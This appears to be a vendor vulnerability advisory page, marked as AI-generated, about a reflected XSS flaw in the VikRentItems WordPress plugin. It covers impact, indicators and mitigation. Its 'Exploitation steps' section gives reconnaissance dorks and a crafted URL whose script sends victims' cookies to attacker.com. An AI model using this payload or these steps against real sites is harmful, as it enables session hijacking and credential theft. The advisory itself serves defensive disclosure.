CVE-2025-14049
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-14049 is a Reflected Cross-Site Scripting (XSS) vulnerability in the VikRentItems Flexible Rental Management System plugin for WordPress. It affects all versions up to and including 1.2.0, stemming from insufficient input sanitization and output escaping of the delto parameter. The vulnerability was published on December 12, 2025, and assigned by Wordfence. It carries a CVSS v3.1 base score of 6.1 (Medium) (Wordfence, Red Hat CVE).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The vulnerable code resides in the deliverymap view template (site/views/deliverymap/tmpl/default.php, line 277), where the delto parameter is reflected into the page output without proper sanitization or escaping. An unauthenticated attacker can craft a malicious URL containing a JavaScript payload in the delto parameter and trick a victim into clicking it, causing the script to execute in the victim's browser context (Wordfence, WordPress Trac).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim user's browser session on the affected WordPress site. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, or defacement of page content as seen by the victim. Because the attack requires user interaction (clicking a crafted link), the scope is changed but availability is not directly impacted (Wordfence, Red Hat CVE).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-14049. The EPSS score is approximately 0.087%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires social engineering to trick a user into clicking a crafted link, which raises the practical bar for mass exploitation (Wordfence).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the VikRentItems plugin version ≤ 1.2.0 using tools like WPScan or Google dorks (e.g., inurl:/wp-content/plugins/vikrentitems).
  2. Identify vulnerable endpoint: Locate the delivery map page that renders the delto parameter, typically accessible via a URL such as https://target.com/?option=com_vikrentitems&view=deliverymap&delto=<payload>.
  3. Craft malicious URL: Construct a URL with a JavaScript payload injected into the delto parameter, e.g., https://target.com/?option=com_vikrentitems&view=deliverymap&delto=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  4. Deliver the link: Send the crafted URL to a target user via phishing email, social media message, or embedded in another page.
  5. Achieve objective: When the victim clicks the link and the page loads, the injected script executes in their browser, enabling cookie theft, session hijacking, or redirection to an attacker-controlled site (Wordfence, WordPress Trac).

Indicators of compromise

  • Network: HTTP requests to WordPress pages containing the delto parameter with encoded JavaScript (e.g., <script>, %3Cscript%3E, javascript:) in the query string; outbound connections from victim browsers to unknown external domains shortly after page load.
  • Logs: Web server access logs showing GET requests to the delivery map view with suspicious characters or encoded payloads in the delto parameter (e.g., view=deliverymap&delto=%3Cscript%3E).
  • Browser/Client: Unexpected redirects or pop-ups experienced by users after clicking links referencing the VikRentItems delivery map page.

Mitigation and workarounds

The fix was introduced in the plugin's repository via changeset 3414595, which adds proper input sanitization and output escaping for the delto parameter (WordPress Trac Changeset). Site administrators should update the VikRentItems plugin to the version incorporating this fix immediately. As a temporary workaround, consider disabling the delivery map feature or restricting access to the affected page until the update can be applied. Additionally, deploying a Web Application Firewall (WAF) rule to block requests with script-like content in the delto parameter can reduce exposure.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2024-13784CRITICAL9.8
  • arforms-form-builder
NoYesAug 16, 2026
CVE-2026-17087HIGH7.5
  • wp-travel-engine
NoYesAug 16, 2026
CVE-2026-2497HIGH7.2
  • gallery-plugin
NoYesAug 16, 2026
CVE-2026-17608MEDIUM6.5
  • wp-compress-image-optimizer
NoYesAug 16, 2026
CVE-2026-2357MEDIUM6.4
  • bold-page-builder
NoYesAug 16, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management